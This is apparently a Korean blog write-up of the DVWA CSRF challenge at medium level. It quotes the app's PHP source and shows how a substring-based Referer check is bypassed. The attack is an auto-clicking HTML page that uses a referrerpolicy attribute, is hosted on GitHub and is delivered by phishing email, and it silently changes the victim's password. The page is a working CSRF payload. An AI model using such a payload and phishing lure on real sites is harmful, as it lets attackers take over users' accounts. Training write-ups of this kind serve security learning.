CSRF(Cross-Site Request Forgery)
- 사용자가 로그인을 유지하고 있는 상태에서, 공격자가 특정 웹 요청을 사용자의 권한으로 서버에 보내도록 유도하는 공격

DVWA CSRF 페이지는 위 사진과 같이 사용자가 비밀번호를 변경할 수 있는 기능이 구현되어 있었다.
비밀번호는 현재 비밀번호 입력없이, 로그인 중인 계정의 비밀번호를 새로 바꿀 수 있는 것처럼 보였다.Test Credetials 버튼을 누르면 비밀번호가 올바르게 변경되었는지 확인할 수 있는, 로그인 기능이 구현되어 있었다.
사용자가 알아채지 못하도록 CSRF 공격을 하여 사용자의 암호를 변경하도록 만드는 문제로 보인다.

새로운 비밀번호를 입력하여 비밀번호를 변경하면 URL 파라미터에 입력한 값이 들어가며 Change 버튼 클릭 유무 또한 GET 요청으로 파라미터 값에 들어가는 걸 볼 수 있다.

비밀번호 변경 후엔 Test Credentials 버튼을 눌러 username과 변경한 password를 입력하면 비밀번호가 올바르게 변경되었는지 확인할 수 있다.
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
DVWA 깃허브에서 코드를 보면 사용자가 Change 버튼을 눌렀는지 확인하고, 참조된 페이지를 확인하기 위해 HTTP_REFERER을 검사하고 있다. CSRF 공격을 막으려는 목적으로 사용되고 있지만, HTTP_REFERER을 변경하면 우회가 가능하지 않을까 생각이 들었다.
그 후 코드에서는, 사용자가 입력한 password_new, password_conf를 가져와 두 값이 일치하는지 확인하고 있다.
일치하면 변경할 비밀번호를 MD5로 암호화하여 데이터베이스에 저장하고 있다.
비밀번호 변경에 성공하면 Password Changed. 메시지를 출력하고, 비밀번호가 일치하지 않으면 Passwords did not match., 참조된 페이지가 신뢰할 수 없는 출처에서 올 경우 That request didn't look correct. 메시지를 출력하고 있다.
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated' ) );
dvwaDatabaseConnect();
$login_state = "";
if( isset( $_POST[ 'Login' ] ) ) {
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = @mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>'. mysqli_connect_error() . '.<br />Try <a href="setup.php">installing again</a>.</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) { // Login Successful...
$login_state = "<h3 class=\"loginSuccess\">Valid password for '{$user}'</h3>";
}else{
// Login failed
$login_state = "<h3 class=\"loginFail\">Wrong password for '{$user}'</h3>";
}
}
$messagesHtml = messagesPopAllToHtml();
$page = dvwaPageNewGrab();
$page[ 'title' ] .= "Test Credentials";
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Test Credentials</h1>
<h2>Vulnerabilities/CSRF</h2>
<div id=\"code\">
<form action=\"" . DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/csrf/test_credentials.php\" method=\"post\">
<fieldset>
" . $login_state . "
<label for=\"user\">Username</label><br /> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"username\"><br />
<label for=\"pass\">Password</label><br /> <input type=\"password\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"password\"><br />
<p class=\"submit\"><input type=\"submit\" value=\"Login\" name=\"Login\"></p>
</fieldset>
</form>
{$messagesHtml}
</div>
</div>\n";
dvwaSourceHtmlEcho( $page );
?>
로그인 검증하는 코드는 위와 같다.
로그인 상태를 확인하고, Login 검증 버튼인 Login 버튼 클릭 여부를 확인하고 있다.
사용자가 입력한 username과 password를 가져와 SQL Injection 공격을 방지하고 있고, 데이터베이스를 통해 데이터가 일치하는지 확인하고 있다.
일치하면 Valid password for과 함께 username을 출력하고, 일치하지 않으면 Wrong password for과 함께 username을 출력하고 있다.
그리고 html 코드를 포함하고 있는 걸 알 수 있었다.
패킷을 캡처해서 HTTP_REFERER을 수정하여 공격하는 방법도 생각해봤지만, CSRF는 사용자가 의도치 않은 공격을 시도하게끔 하는 공격이라 생각하여 다른 방법으로 생각을 해보았다.
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
특히 HTTP_REFERER 비교 코드를 살펴보았는데, stripos() 함수를 쓰는 걸 볼 수 있었다.stripos() 함수는 두 문자열이 일치하는지 비교하는 것이 아닌, HTTP_REFERER에서 SERVER_NAME 문자열이 포함되어있는지 확인하는 함수였다.
SERVER_NAME은 호스트 이름(localhost)을 의미하는 것이기 때문에 참조하는 페이지에 localhost 문자열이 들어가도록 구현해주었다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a id="csrfLink" href="http://localhost/DVWA/vulnerabilities/csrf?password_new=csrfpw&password_conf=csrfpw&Change=Change#"></a>
<script>
document.getElementById("csrfLink").click();
</script>
</body>
</html>
위와 같이 코드를 구현한 후,
ㅤ

사용자가 이 파일에 접근해야하기 때문에 Github에 파일을 업로드하고 호스팅을 하였고,
ㅤ

그 후 사용자가 접근하도록 하기 위해 이메일 피싱 방법을 사용했다.
사용자가 메일에서 링크를 클릭하면 깃허브 호스팅 페이지로 이동하면서 자동으로 http://localhost/DVWA/vulnerabilities/csrf?password_new=csrfpw&password_conf=csrfpw&Change=Change#에 접근하게된다.
ㅤ

하지만 HTTP_REFERER 관련 헤더가 포함되지 않은 것으로 보였다.
웹 브라우저가 서버에 전송하는 참조에 대해 알아보니, Referrer 정책에 대해 알게 되었다.
( https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)
Referrer-Policy - HTTP | MDN
The HTTP Referrer-Policy response header controls how much referrer information (sent with the Referer header) should be included with requests. Aside from the HTTP header, you can set this policy in HTML.
developer.mozilla.org
해당 사이트를 참고해보니 Referrer-Policy 헤더 설정을 통해 참조 권한을 설정할 수 있다는 사실을 알게 되었다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a id="csrfLink" href="http://localhost/DVWA/vulnerabilities/csrf?password_new=csrfpw&password_conf=csrfpw&Change=Change#" referrerpolicy="unsafe-url"></a>
<script>
document.getElementById("csrfLink").click();
</script>
</body>
</html>
Referrer Policy 정책을 위해 referrerpolicy를 unsafe-url로 설정하여 모든 URL 정보를 참조 헤더에 포함하도록 위 html 파일을 구현하였다.

마찬가지로 이메일 피싱을 통해 링크에 클릭하면 자동으로 http://localhost/DVWA/vulnerabilities/csrf?password_new=csrfpw&password_conf=csrfpw&Change=Change#에 접근하도록 하였고,
패킷을 캡처해보면 Referer 헤더에 localhost 문자열이 포함된 걸 볼 수 있었다.
ㅤ

그대로 접속하면 password가 csrfpw로 변경된 걸 볼 수 있었다.
'DVWA' 카테고리의 다른 글
| DVWA | Insecure CAPTCHA | medium (1) | 2024.11.20 |
|---|---|
| DVWA | File Upload | medium (0) | 2024.11.20 |
| DVWA | File Inclusion | medium (0) | 2024.11.20 |
| DVWA | Command Injection | medium (0) | 2024.11.19 |
| DVWA | Brute Force | medium (0) | 2024.11.19 |